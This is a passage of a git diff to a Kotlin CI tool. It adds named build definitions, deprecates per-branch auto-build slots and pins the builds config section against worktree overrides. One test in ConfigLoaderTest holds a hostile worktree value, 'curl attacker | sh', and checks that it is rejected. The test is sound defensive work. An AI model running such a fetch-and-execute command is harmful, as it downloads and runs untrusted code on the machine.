branchConfig.stdoutLog, + stderrLog = stderrLog ?: branchConfig.stderrLog, + docker = + branchConfig.docker.copy( + image = docker?.image ?: branchConfig.docker.image, + dockerfile = docker?.dockerfile ?: branchConfig.docker.dockerfile, + context = docker?.context ?: branchConfig.docker.context, + env = docker?.env ?: branchConfig.docker.env, + ), + ) + + companion object { + /** Name of the implicit build that preserves the pre-ADR-0007 behavior: `onPush` over all branches. */ + const val DEFAULT = "default" + + /** The result-pool name of [build] on [branch]: the plain branch for the default build. */ + fun poolName( + branch: String, + build: String, + ): String = if (build == DEFAULT) branch else "$branch@$build" + + private fun globToRegex(pattern: String): Regex = + Regex( + pattern + .split('*') + .joinToString(".*") { Regex.escape(it) }, + ) + } +} + +/** Nullable docker image overrides of a [BuildDefinition]; null values inherit the branch's setting. */ +data class DockerOverrides( + val image: String? = null, + val dockerfile: String? = null, + val context: String? = null, + val env: Map? = null, +) diff --git a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt index 088e3e3..1660235 100644 --- a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt +++ b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt @@ -29,10 +29,11 @@ class ConfigLoader { * `docker.image`/`env`, …). * * The [pinned][stripPinned] keys are the exception: secrets (`git`), `gitea`/`server` - * settings, and the docker sandbox policy (`docker.enabled`/`docker.network`) always - * come from `.git`/primary — a branch must never be able to disable its own container, - * change its network mode, or reach the credentials. They are stripped from the - * worktree layer before it is merged, so a worktree cannot set them at all. + * settings, the whole `builds` section (job definitions and execution settings), and + * the docker sandbox policy (`docker.enabled`/`docker.network`) always come from + * `.git`/primary — a branch must never be able to disable its own container, change + * its network mode, redefine jobs, or reach the credentials. They are stripped from + * the worktree layer before it is merged, so a worktree cannot set them at all. * * With no worktree `.gittally.yml` this is identical to [load]. */ @@ -50,11 +51,30 @@ class ConfigLoader { if (raw.isEmpty()) { GitTallyConfig() } else { - yaml.convertValue(mergeBranchDefaults(raw), GitTallyConfig::class.java) + yaml.convertValue(splitBuildsSection(mergeBranchDefaults(raw)), GitTallyConfig::class.java) } return defaultPublicBaseUrl(config) } + /** + * The YAML `builds` section carries the reserved execution key `maxConcurrent` + * next to the named build definitions (ADR 0007); the schema separates them into + * [GitTallyConfig.builds] and [GitTallyConfig.buildDefinitions]. + */ + @Suppress("UNCHECKED_CAST") + private fun splitBuildsSection(raw: Map): Map { + val builds = raw["builds"] as? Map ?: return raw + val definitions = builds.filterKeys { it !in RESERVED_BUILDS_KEYS } + if (definitions.isEmpty()) { + return raw + } + return raw + + mapOf( + "builds" to builds.filterKeys { it in RESERVED_BUILDS_KEYS }, + "buildDefinitions" to definitions, + ) + } + /** * Removes the keys a build worktree must never override: the secret/server-side * top-level sections and the per-branch docker sandbox policy. See [loadForWorktree]. @@ -141,8 +161,15 @@ class ConfigLoader { } companion object { - /** Top-level sections a build worktree must never override: secrets and server-side settings. */ - private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server") + /** + * Top-level sections a build worktree must never override: secrets, server-side + * settings, and the build definitions with their execution settings (a branch + * must not be able to redefine jobs or raise concurrency). + */ + private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds") + + /** Keys of the YAML `builds` section that are execution settings, not build definitions. */ + private val RESERVED_BUILDS_KEYS = setOf("maxConcurrent") /** Per-branch `docker` keys the worktree must never override: the sandbox policy. */ private val PINNED_DOCKER_KEYS = setOf("enabled", "network") diff --git a/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt b/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt index a880ce3..1f44523 100644 --- a/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt +++ b/src/main/kotlin/de/hoennig/gittally/config/GitTallyConfig.kt @@ -1,8 +1,5 @@ package de.hoennig.gittally.config -import com.fasterxml.jackson.databind.annotation.JsonDeserialize -import com.fasterxml.jackson.databind.annotation.JsonSerialize - data class GitTallyConfig( val server: ServerConfig = ServerConfig(), val git: GitConfig = GitConfig(), @@ -11,7 +8,17 @@ data class GitTallyConfig( val artifacts: ArtifactsConfig = ArtifactsConfig(), val watcher: WatcherConfig = WatcherConfig(), val branches: Map = mapOf("default" to BranchConfig()), -) + /** + * Named build definitions (jobs) over the branches (ADR 0007). The implicit + * [BuildDefinition.DEFAULT] build (`onPush` over all branches) applies unless this + * map overrides it; see [effectiveBuildDefinitions]. + */ + val buildDefinitions: Map = emptyMap(), +) { + /** The configured [buildDefinitions] plus the implicit `default` build unless overridden. */ + fun effectiveBuildDefinitions(): Map = + mapOf(BuildDefinition.DEFAULT to BuildDefinition(onPush = true)) + buildDefinitions +} data class ServerConfig( /** @@ -149,32 +156,13 @@ data class DockerConfig( val env: Map = emptyMap(), ) +/** + * Deprecated per-branch schedule (pre-ADR-0007), kept for compatibility: mapped to a + * daily rebuild of the branch's own pool with its regular command. New configurations + * define a build with `atTimes` in the top-level `builds` section instead. + */ data class AutoBuildConfig( val enabled: Boolean = false, - /** - * Daily UTC slots. Each entry is either a plain `HH:MM` time or an object with - * `time` and its own `buildCommand` — so a nightly slot can run a fuller check - * than the on-commit builds of the same branch. - */ - val times: List = listOf(AutoBuildSlot("01:00")), -) - -/** - * One scheduled auto-build slot; in YAML either a plain `HH:MM` string or an object - * (`time` plus optional `buildCommand` and `name`) — see [AutoBuildSlotDeserializer]. - */ -@JsonDeserialize(using = AutoBuildSlotDeserializer::class) -@JsonSerialize(using = AutoBuildSlotSerializer::class) -data class AutoBuildSlot( - /** UTC time of day, `HH:MM`. */ - val time: String, - /** Command this slot's build runs; empty runs the branch's [BranchConfig.buildCommand]. */ - val buildCommand: String = "", - /** - * Build name this slot's builds are recorded under (e.g. `master@nightly`); empty - * records them under the branch name. A named slot gets its own history, retention - * pool, latest status, and permanent latest-green artifact link, so its builds are - * not displaced by the branch's regular builds. - */ - val name: String = "", + /** Daily UTC times `HH:MM`. */ + val times: List = listOf("01:00"), ) diff --git a/src/main/kotlin/de/hoennig/gittally/git/GitService.kt b/src/main/kotlin/de/hoennig/gittally/git/GitService.kt index 165e08a..f4b05f1 100644 --- a/src/main/kotlin/de/hoennig/gittally/git/GitService.kt +++ b/src/main/kotlin/de/hoennig/gittally/git/GitService.kt @@ -140,6 +140,19 @@ class GitService( }.map { (branch, _) -> branch } } + /** Committer timestamps of all origin branch heads, in one git call; used by `activeWithin` build selectors. */ + fun originBranchCommitTimes(workingDir: Path = Paths.get(".")): Map = + runner + .runOrThrow( + listOf("git", "for-each-ref", "--format=%(refname:strip=3) %(committerdate:unix)", "refs/remotes/origin"), + workingDir, + ).lines() + .mapNotNull { line -> + val branch = line.substringBeforeLast(' ') + val epochSeconds = line.substringAfterLast(' ').toLongOrNull() ?: return@mapNotNull null + if (branch == "HEAD") null else branch to Instant.ofEpochSecond(epochSeconds) + }.toMap() + /** Switches to an existing local branch, or creates a tracking branch from origin. */ fun checkout( branch: String, diff --git a/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt b/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt index 9d3bf77..cecfe58 100644 --- a/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt +++ b/src/main/kotlin/de/hoennig/gittally/server/BuildsApiController.kt @@ -5,6 +5,7 @@ import de.hoennig.gittally.build.BuildExecutor import de.hoennig.gittally.build.BuildResult import de.hoennig.gittally.build.BuildResultRepository import de.hoennig.gittally.build.BuildStatus +import de.hoennig.gittally.config.BuildDefinition import de.hoennig.gittally.git.GitService import org.springframework.http.HttpStatus import org.springframework.http.ResponseEntity @@ -103,13 +104,12 @@ class BuildsApiController( latest?.commit ?: gitService.originHeadCommit(branch, workingDir) ?: return notFound("branch '$branch' has no recorded build and no origin counterpart") - // a restarted build repeats what it originally ran: same branch, name, and command + // a restarted build re-runs its recorded build definition (settings from the current config) val running = buildExecutor.startBuild( branch = latest?.branch ?: branch, commit = commit, - buildCommandOverride = latest?.buildCommandOverride, - name = latest?.name ?: branch, + build = latest?.build ?: BuildDefinition.DEFAULT, ) return ResponseEntity.accepted().body( BuildResultDto( diff --git a/src/main/kotlin/de/hoennig/gittally/watcher/AutoBuildState.kt b/src/main/kotlin/de/hoennig/gittally/watcher/AutoBuildState.kt index d2073a7..36b32a1 100644 --- a/src/main/kotlin/de/hoennig/gittally/watcher/AutoBuildState.kt +++ b/src/main/kotlin/de/hoennig/gittally/watcher/AutoBuildState.kt @@ -5,7 +5,6 @@ import com.fasterxml.jackson.databind.ObjectMapper import com.fasterxml.jackson.databind.SerializationFeature import com.fasterxml.jackson.module.kotlin.readValue import com.fasterxml.jackson.module.kotlin.registerKotlinModule -import de.hoennig.gittally.config.AutoBuildSlot import org.slf4j.LoggerFactory import java.nio.file.Files import java.nio.file.Path @@ -14,28 +13,33 @@ import java.time.LocalDate import java.time.LocalTime import java.time.format.DateTimeParseException -/** One recorded auto-build trigger: [branch] was enqueued for the [slot] (UTC `HH:MM`) of [date] (ISO). */ +/** + * One recorded scheduled-build trigger: the result pool [branch] (a branch, or + * `@` of a named build definition) was enqueued for the [slot] + * (UTC `HH:MM`) of [date] (ISO). The field keeps its legacy name `branch` so the + * state file stays readable across versions. + */ data class AutoBuildTrigger( val branch: String, val date: String, val slot: String, ) -/** Auto-build time slot matching (UTC `HH:MM`), like legacy `auto_build_check`. */ +/** Scheduled-build time slot matching (UTC `HH:MM`), like legacy `auto_build_check`. */ object AutoBuildSlots { private val log = LoggerFactory.getLogger(AutoBuildSlots::class.java) /** The latest valid slot at or before [now], or null when no slot is due yet today. */ fun latestDueSlot( - times: List, + times: List, now: LocalTime, - ): AutoBuildSlot? = + ): String? = times .mapNotNull { slot -> try { - LocalTime.parse(slot.time.trim()) to slot + LocalTime.parse(slot.trim()) to slot } catch (_: DateTimeParseException) { - log.warn("skipping invalid auto-build time slot '{}': expected HH:MM", slot.time) + log.warn("skipping invalid scheduled-build time slot '{}': expected HH:MM", slot) null } }.filter { (parsed, _) -> !parsed.isAfter(now) } diff --git a/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt b/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt index 3cfa3e8..75a8ce6 100644 --- a/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt +++ b/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt @@ -7,6 +7,7 @@ import de.hoennig.gittally.build.BuildResultRepository import de.hoennig.gittally.build.BuildStatus import de.hoennig.gittally.build.GitWorktreeWorkspaces import de.hoennig.gittally.config.BranchConfig +import de.hoennig.gittally.config.BuildDefinition import de.hoennig.gittally.config.ConfigLoader import de.hoennig.gittally.config.DurationParser import de.hoennig.gittally.config.GitTallyConfig @@ -17,6 +18,7 @@ import java.nio.file.Files import java.nio.file.Path import java.nio.file.Paths import java.time.Clock +import java.time.Instant import java.time.LocalDate import java.time.LocalTime import java.time.ZoneOffset @@ -48,6 +50,10 @@ class Watcher( @Volatile private var state = WatcherState() + /** The branches.*.autoBuild deprecation is logged once per watcher instance, not once per poll. */ + @Volatile + private var warnedDeprecatedAutoBuild = false + fun state(): WatcherState = state /** @@ -109,9 +115,9 @@ class Watcher( // the executor queue did not survive the restart; the re-enqueued build supersedes the stale entry repository.updateByArtifactKey(result.artifactKey) { it.copy(status = BuildStatus.INTERRUPTED) } } - log.info("restarting unfinished build of branch {}", result.branch) - // an interrupted auto-slot build re-runs the command its slot dictated, under its name - buildExecutor.startBuild(result.branch, commit, workingDir, result.buildCommandOverride, result.name) + log.info("restarting unfinished build {} of branch {}", result.build, result.branch) + // the re-run resolves its settings from the current config by the recorded build name + buildExecutor.startBuild(result.branch, commit, workingDir, result.build) } } @@ -187,18 +193,31 @@ class Watcher( ) { // one ls-remote per poll cycle at most, and only when a due branch requires a pull request val pullRequestHeads = lazy { gitService.pullRequestHeads(workingDir) } + // one for-each-ref per cycle at most, and only when a definition filters by activeWithin + val headCommitTimes = lazy { gitService.originBranchCommitTimes(workingDir) } + val definitions = config.effectiveBuildDefinitions() val changedLocal = gitService .localBranches(workingDir) .filter { it in originBranches && gitService.hasNewCommits(it, workingDir) } val newOrigin = gitService.newOriginBranches(DurationParser.parse(config.watcher.newBranchMaxAge), workingDir) - for (branch in (changedLocal + newOrigin).distinct()) { - startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir) + val changed = (changedLocal + newOrigin).distinct() + for ((buildName, definition) in definitions.filterValues { it.onPush }) { + for (branch in changed.filter { selects(definition, it, headCommitTimes) }) { + startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName) + } } - enqueueAutoBuilds(config, originBranches, pullRequestHeads, workingDir) + enqueueScheduledBuilds(definitions, config, originBranches, pullRequestHeads, headCommitTimes, workingDir) + enqueueDeprecatedAutoBuilds(config, originBranches, pullRequestHeads, workingDir) } + private fun selects( + definition: BuildDefinition, + branch: String, + headCommitTimes: Lazy>, + ): Boolean = definition.selects(branch, { headCommitTimes.value[branch] }, clock.instant()) + /** * Enqueues a build of the branch's origin head unless one is already pending or * running, or that commit was already built. Builds run detached in worktrees and @@ -217,10 +236,9 @@ class Watcher( config: GitTallyConfig, pullRequestHeads: Lazy>, workingDir: Path, - buildCommandOverride: String? = null, - name: String = branch, + build: String = BuildDefinition.DEFAULT, ): Boolean { - val latest = repository.latestFor(name) + val latest = repository.latestFor(BuildDefinition.poolName(branch, build)) if (latest?.status == BuildStatus.PENDING || latest?.status == BuildStatus.RUNNING) { return false } @@ -235,8 +253,8 @@ class Watcher( log.info("not enqueueing branch {}: no pull request has head commit {}", branch, commit) return false } - log.info("enqueueing build of branch {} at commit {}", branch, commit) - buildExecutor.startBuild(branch, commit, workingDir, buildCommandOverride, name) + log.info("enqueueing build {} of branch {} at commit {}", build, branch, commit) + buildExecutor.startBuild(branch, commit, workingDir, build) return true } @@ -245,7 +263,47 @@ class Watcher( branch: String, ): BranchConfig = config.branches[branch] ?: config.branches["default"] ?: BranchConfig() - private fun enqueueAutoBuilds( + /** + * Fires the due `atTimes` slot of every build definition for its selected branches, + * once per day and slot per result pool. Rebuilding the already-built commit is + * the point of a scheduled build. + */ + private fun enqueueScheduledBuilds( + definitions: Map, + config: GitTallyConfig, + originBranches: Set, + pullRequestHeads: Lazy>, + headCommitTimes: Lazy>, + workingDir: Path, + ) { + val scheduled = definitions.filterValues { it.atTimes.isNotEmpty() } + if (scheduled.isEmpty()) { + return + } + val autoBuildState = FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) + val now = clock.instant() + val today = LocalDate.ofInstant(now, ZoneOffset.UTC) + val timeOfDay = LocalTime.ofInstant(now, ZoneOffset.UTC) + for ((buildName, definition) in scheduled) { + val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue + for (branch in originBranches.filter { selects(definition, it, headCommitTimes) }) { + val pool = BuildDefinition.poolName(branch, buildName) + if (autoBuildState.isTriggered(pool, today, slot)) { + continue + } + if (startBuildIfDue(branch, allowSameCommit = true, config, pullRequestHeads, workingDir, buildName)) { + autoBuildState.markTriggered(pool, today, slot) + } + } + } + } + + /** + * The pre-ADR-0007 `branches..autoBuild` schedule, kept for compatibility: + * a daily rebuild of the branch's own pool with its regular command — exactly a + * `builds` entry with `atTimes` and a single-branch selector would do. + */ + private fun enqueueDeprecatedAutoBuilds( config: GitTallyConfig, originBranches: Set, pullRequestHeads: Lazy>, @@ -258,33 +316,28 @@ class Watcher( if (autoBuildBranches.isEmpty()) { return } + if (!warnedDeprecatedAutoBuild) { + warnedDeprecatedAutoBuild = true + log.warn( + "branches.*.autoBuild is deprecated; define a build with atTimes in the builds section instead (branches: {})", + autoBuildBranches.keys.joinToString(", "), + ) + } val autoBuildState = FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) val now = clock.instant() val today = LocalDate.ofInstant(now, ZoneOffset.UTC) val timeOfDay = LocalTime.ofInstant(now, ZoneOffset.UTC) for ((branch, branchConfig) in autoBuildBranches) { val slot = AutoBuildSlots.latestDueSlot(branchConfig.autoBuild.times, timeOfDay) ?: continue - if (autoBuildState.isTriggered(branch, today, slot.time)) { + if (autoBuildState.isTriggered(branch, today, slot)) { continue } if (branch !in originBranches) { log.warn("skipping auto build of branch {}: branch is not on origin", branch) continue } - // rebuilding the already-built commit is the point of an auto build; a slot - // with its own command dictates it, and a named slot records under its name - val started = - startBuildIfDue( - branch, - allowSameCommit = true, - config, - pullRequestHeads, - workingDir, - slot.buildCommand.ifBlank { null }, - slot.name.ifBlank { branch }, - ) - if (started) { - autoBuildState.markTriggered(branch, today, slot.time) + if (startBuildIfDue(branch, allowSameCommit = true, config, pullRequestHeads, workingDir)) { + autoBuildState.markTriggered(branch, today, slot) } } } diff --git a/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt b/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt index 4ee332e..3d60b62 100644 --- a/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/build/BuildExecutorTest.kt @@ -219,23 +219,38 @@ class BuildExecutorTest : FunSpec() { } } - test("a build command override replaces the branch's build command and is recorded in the result") { - val h = harness(buildCommand = "echo regular-\$branch") + test("a build definition overrides the branch's build command and records under its own pool") { + val h = + Harness( + """ + branches: + default: + buildCommand: "echo regular-${'$'}branch" + cleanCommand: "" + builds: + pitest: + buildCommand: "echo nightly-${'$'}branch" + """.trimIndent(), + ) - val nightly = h.executor.startBuild("main", "sha-1", h.workingDir, "echo nightly-\$branch") - awaitStatus(h, "main", BuildStatus.SUCCESS) + val nightly = h.executor.startBuild("main", "sha-1", h.workingDir, "pitest") + awaitStatus(h, "main@pitest", BuildStatus.SUCCESS) awaitIdle(h) val stdoutLog = Files.readString(nightly.stagingDir.resolve("build.stdout.log")) stdoutLog shouldContain "nightly-main" stdoutLog shouldNotContain "regular-main" - Files.readString(nightly.liveLogFile) shouldContain "triggered by: auto-build slot" - h.repository - .latestFor("main") - .shouldNotBeNull() - .buildCommandOverride shouldBe "echo nightly-\$branch" + Files.readString(nightly.liveLogFile) shouldContain "build: pitest (recorded as main@pitest)" + val result = h.repository.latestFor("main@pitest").shouldNotBeNull() + result.branch shouldBe "main" + result.build shouldBe "pitest" + result.name shouldBe "main@pitest" + result.artifactKey shouldBe nightly.artifactKey + nightly.artifactKey shouldContain "main_pitest" + // the branch's own pool stays empty — the pitest build does not shadow it + h.repository.latestFor("main") shouldBe null - // the same branch without an override runs the regular command + // the same branch under the default build runs the regular command val regular = h.executor.startBuild("main", "sha-2", h.workingDir) awaitStatus(h, "main", BuildStatus.SUCCESS) awaitIdle(h) @@ -243,24 +258,17 @@ class BuildExecutorTest : FunSpec() { h.repository .latestFor("main") .shouldNotBeNull() - .buildCommandOverride shouldBe null + .build shouldBe "default" } - test("a named build is recorded under its name, keyed by the sanitized name") { + test("a build whose definition was removed from the config falls back to the branch's settings") { val h = harness(buildCommand = "echo regular-\$branch") - val build = h.executor.startBuild("main", "sha-1", h.workingDir, "echo nightly-\$branch", "main@nightly") - awaitStatus(h, "main@nightly", BuildStatus.SUCCESS) + val build = h.executor.startBuild("main", "sha-1", h.workingDir, "gone-build") + awaitStatus(h, "main@gone-build", BuildStatus.SUCCESS) awaitIdle(h) - val result = h.repository.latestFor("main@nightly").shouldNotBeNull() - result.branch shouldBe "main" - result.name shouldBe "main@nightly" - result.artifactKey shouldBe build.artifactKey - build.artifactKey shouldContain "main_nightly" - Files.readString(build.liveLogFile) shouldContain "build name: main@nightly" - // the branch's own pool stays empty — the named build does not shadow it - h.repository.latestFor("main") shouldBe null + Files.readString(build.stagingDir.resolve("build.stdout.log")) shouldContain "regular-main" } test("startBuild returns the active build of the same branch and commit instead of stacking a duplicate") { @@ -272,8 +280,8 @@ class BuildExecutorTest : FunSpec() { duplicate.artifactKey shouldBe first.artifactKey h.repository.history().map { it.artifactKey } shouldContainExactly listOf(first.artifactKey) - // a build of the same commit with a command override runs a different command — not a duplicate - val nightly = h.executor.startBuild("main", "abc123", h.workingDir, "echo full-check") + // another build definition of the same commit is its own pool — not a duplicate + val nightly = h.executor.startBuild("main", "abc123", h.workingDir, "pitest") nightly.artifactKey shouldNotBe first.artifactKey // another commit of the branch is a distinct build, queued behind the first diff --git a/src/test/kotlin/de/hoennig/gittally/commands/RetryCommandTest.kt b/src/test/kotlin/de/hoennig/gittally/commands/RetryCommandTest.kt index 7cfb252..8a04e01 100644 --- a/src/test/kotlin/de/hoennig/gittally/commands/RetryCommandTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/commands/RetryCommandTest.kt @@ -52,15 +52,15 @@ class RetryCommandTest : FunSpec() { ) every { gitService.originHeadCommit("main", dir) } returns "head-main" every { gitService.originHeadCommit("feature/y", dir) } returns "head-y" - every { consoleBuildRunner.buildAndStream(any(), any(), dir, anyNullable(), any()) } returns BuildStatus.SUCCESS + every { consoleBuildRunner.buildAndStream(any(), any(), dir, any()) } returns BuildStatus.SUCCESS var exitCode = -1 captureConsole { exitCode = command().call() } exitCode shouldBe 0 - verify { consoleBuildRunner.buildAndStream("main", "head-main", dir, null, "main") } - verify { consoleBuildRunner.buildAndStream("feature/y", "head-y", dir, null, "feature/y") } - verify(exactly = 0) { consoleBuildRunner.buildAndStream("feature/ok", any(), dir, anyNullable(), any()) } + verify { consoleBuildRunner.buildAndStream("main", "head-main", dir, "default") } + verify { consoleBuildRunner.buildAndStream("feature/y", "head-y", dir, "default") } + verify(exactly = 0) { consoleBuildRunner.buildAndStream("feature/ok", any(), dir, any()) } } test("exits with code 1 when a retried build fails again") { diff --git a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt index 9d96ebf..d8c86ef 100644 --- a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt @@ -47,37 +47,73 @@ class ConfigLoaderTest : FunSpec() { loader.load(dir).builds.maxConcurrent shouldBe 3 } - test("autoBuild.times accepts plain HH:MM entries and slot objects with their own build command, mixed") { + test("the builds section splits into the reserved maxConcurrent and named build definitions") { val dir = Files.createTempDirectory("gittally-test") dir.resolve(".gittally.yml").toFile().writeText( """ - branches: - main: - autoBuild: - enabled: true - times: - - "01:00" - - time: "04:00" - buildCommand: ./gradlew fullCheck - name: main@nightly + builds: + maxConcurrent: 2 + pitest: + atTimes: ["01:00"] + branches: ["master", "release/*"] + activeWithin: 24h + buildCommand: ./gradlew piTestFull """.trimIndent(), ) - val times = - loader - .load(dir) - .branches - .getValue("main") - .autoBuild.times + val config = loader.load(dir) - times shouldBe - listOf( - AutoBuildSlot("01:00"), - AutoBuildSlot("04:00", "./gradlew fullCheck", "main@nightly"), + config.builds.maxConcurrent shouldBe 2 + config.buildDefinitions shouldBe + mapOf( + "pitest" to + BuildDefinition( + atTimes = listOf("01:00"), + branches = listOf("master", "release/*"), + activeWithin = "24h", + buildCommand = "./gradlew piTestFull", + ), ) - // config:print round-trip: a slot without its own command serializes back to the plain string - loader.toYaml(times) shouldBe - "- \"01:00\"\n- time: \"04:00\"\n buildCommand: \"./gradlew fullCheck\"\n name: \"main@nightly\"\n" + // the implicit default build (onPush over all branches) stays in place + config.effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = true) + } + + test("an explicit builds.default entry overrides the implicit default build") { + val dir = Files.createTempDirectory("gittally-test") + dir.resolve(".gittally.yml").toFile().writeText( + """ + builds: + default: + onPush: false + """.trimIndent(), + ) + + loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false) + } + + test("a build worktree cannot redefine the builds section") { + val dir = Files.createTempDirectory("gittally-test") + dir.resolve(".gittally.yml").toFile().writeText( + """ + builds: + pitest: + buildCommand: ./gradlew piTestFull + """.trimIndent(), + ) + val worktree = Files.createTempDirectory("gittally-test-worktree") + worktree.resolve(".gittally.yml").toFile().writeText( + """ + builds: + maxConcurrent: 99 + pitest: + buildCommand: curl attacker | sh + """.trimIndent(), + ) + + val config = loader.loadForWorktree(dir, worktree) + + config.builds.maxConcurrent shouldBe 1 + config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull" } test("repo install config overrides project config for same keys") { diff --git a/src/test/kotlin/de/hoennig/gittally/server/BuildsApiControllerTest.kt b/src/test/kotlin/de/hoennig/gittally/server/BuildsApiControllerTest.kt index 40d657a..702cdd2 100644 --- a/src/test/kotlin/de/hoennig/gittally/server/BuildsApiControllerTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/server/BuildsApiControllerTest.kt @@ -167,50 +167,23 @@ class BuildsApiControllerTest : FunSpec() { verify { buildExecutor.startBuild("feature/topic", successResult.commit) } } - test("restart of an auto-slot build repeats its recorded build command") { - val liveLogFile = tempDir.resolve("auto-restart.log") - every { repository.latestFor("main") } returns successResult.copy(buildCommandOverride = "./gradlew fullCheck") - every { buildExecutor.startBuild("main", successResult.commit, buildCommandOverride = "./gradlew fullCheck") } returns - runningBuild(liveLogFile).copy(buildCommandOverride = "./gradlew fullCheck") - - mockMvc - .perform(post("/api/builds/restart").param("branch", "main").header(BuildsApiController.TOKEN_HEADER, "secret")) - .andExpect(status().isAccepted) - .andExpect(jsonPath("$.status").value("pending")) - - // so a restarted nightly build repeats its slot's command, not the regular one - verify { buildExecutor.startBuild("main", successResult.commit, buildCommandOverride = "./gradlew fullCheck") } - } - - test("restart of a named slot build re-runs under its name on its real branch") { + test("restart of a named build re-runs its build definition on its real branch") { val liveLogFile = tempDir.resolve("named-restart.log") - every { repository.latestFor("main@nightly") } returns - successResult.copy(name = "main@nightly", buildCommandOverride = "./gradlew fullCheck") - every { - buildExecutor.startBuild( - "main", - successResult.commit, - buildCommandOverride = "./gradlew fullCheck", - name = "main@nightly", - ) - } returns runningBuild(liveLogFile).copy(name = "main@nightly") + every { repository.latestFor("main@pitest") } returns + successResult.copy(build = "pitest", name = "main@pitest") + every { buildExecutor.startBuild("main", successResult.commit, build = "pitest") } returns + runningBuild(liveLogFile).copy(build = "pitest", name = "main@pitest") mockMvc .perform( post("/api/builds/restart") - .param("branch", "main@nightly") + .param("branch", "main@pitest") .header(BuildsApiController.TOKEN_HEADER, "secret"), ).andExpect(status().isAccepted) - .andExpect(jsonPath("$.name").value("main@nightly")) + .andExpect(jsonPath("$.name").value("main@pitest")) - verify { - buildExecutor.startBuild( - "main", - successResult.commit, - buildCommandOverride = "./gradlew fullCheck", - name = "main@nightly", - ) - } + // the re-run resolves its settings from the current config by the build name + verify { buildExecutor.startBuild("main", successResult.commit, build = "pitest") } } test("restart of a never-built branch enqueues its origin head commit") { diff --git a/src/test/kotlin/de/hoennig/gittally/watcher/AutoBuildStateTest.kt b/src/test/kotlin/de/hoennig/gittally/watcher/AutoBuildStateTest.kt index 2e30a75..59263a4 100644 --- a/src/test/kotlin/de/hoennig/gittally/watcher/AutoBuildStateTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/watcher/AutoBuildStateTest.kt @@ -1,6 +1,5 @@ package de.hoennig.gittally.watcher -import de.hoennig.gittally.config.AutoBuildSlot import io.kotest.core.spec.style.FunSpec import io.kotest.matchers.booleans.shouldBeFalse import io.kotest.matchers.booleans.shouldBeTrue @@ -14,27 +13,19 @@ import java.time.LocalTime class AutoBuildStateTest : FunSpec() { private fun stateFile(): Path = Files.createTempDirectory("gittally-autobuild-test").resolve("auto-builds.json") - private fun slots(vararg times: String) = times.map { AutoBuildSlot(it) } - init { test("latestDueSlot picks the latest slot at or before now") { - val times = slots("01:00", "11:00", "13:00") + val times = listOf("01:00", "11:00", "13:00") AutoBuildSlots.latestDueSlot(times, LocalTime.parse("00:59")).shouldBeNull() - AutoBuildSlots.latestDueSlot(times, LocalTime.parse("01:00"))?.time shouldBe "01:00" - AutoBuildSlots.latestDueSlot(times, LocalTime.parse("12:00"))?.time shouldBe "11:00" - AutoBuildSlots.latestDueSlot(times, LocalTime.parse("23:59"))?.time shouldBe "13:00" - } - - test("latestDueSlot answers the whole slot including its build command") { - val slot = AutoBuildSlot(time = "01:00", buildCommand = "./gradlew fullCheck") - - AutoBuildSlots.latestDueSlot(listOf(slot), LocalTime.parse("02:00")) shouldBe slot + AutoBuildSlots.latestDueSlot(times, LocalTime.parse("01:00")) shouldBe "01:00" + AutoBuildSlots.latestDueSlot(times, LocalTime.parse("12:00")) shouldBe "11:00" + AutoBuildSlots.latestDueSlot(times, LocalTime.parse("23:59")) shouldBe "13:00" } test("latestDueSlot skips invalid slots but keeps the valid ones") { - AutoBuildSlots.latestDueSlot(slots("25:99", "nope", "02:00"), LocalTime.parse("12:00"))?.time shouldBe "02:00" - AutoBuildSlots.latestDueSlot(slots("25:99"), LocalTime.parse("12:00")).shouldBeNull() + AutoBuildSlots.latestDueSlot(listOf("25:99", "nope", "02:00"), LocalTime.parse("12:00")) shouldBe "02:00" + AutoBuildSlots.latestDueSlot(listOf("25:99"), LocalTime.parse("12:00")).shouldBeNull() } test("latestDueSlot of an empty slot list is null") { diff --git a/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt b/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt index cac242f..a9eaa79 100644 --- a/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/watcher/WatcherTest.kt @@ -10,8 +10,8 @@ import de.hoennig.gittally.build.GitWorktreeWorkspaces import de.hoennig.gittally.build.RunningBuild import de.hoennig.gittally.config.ArtifactsConfig import 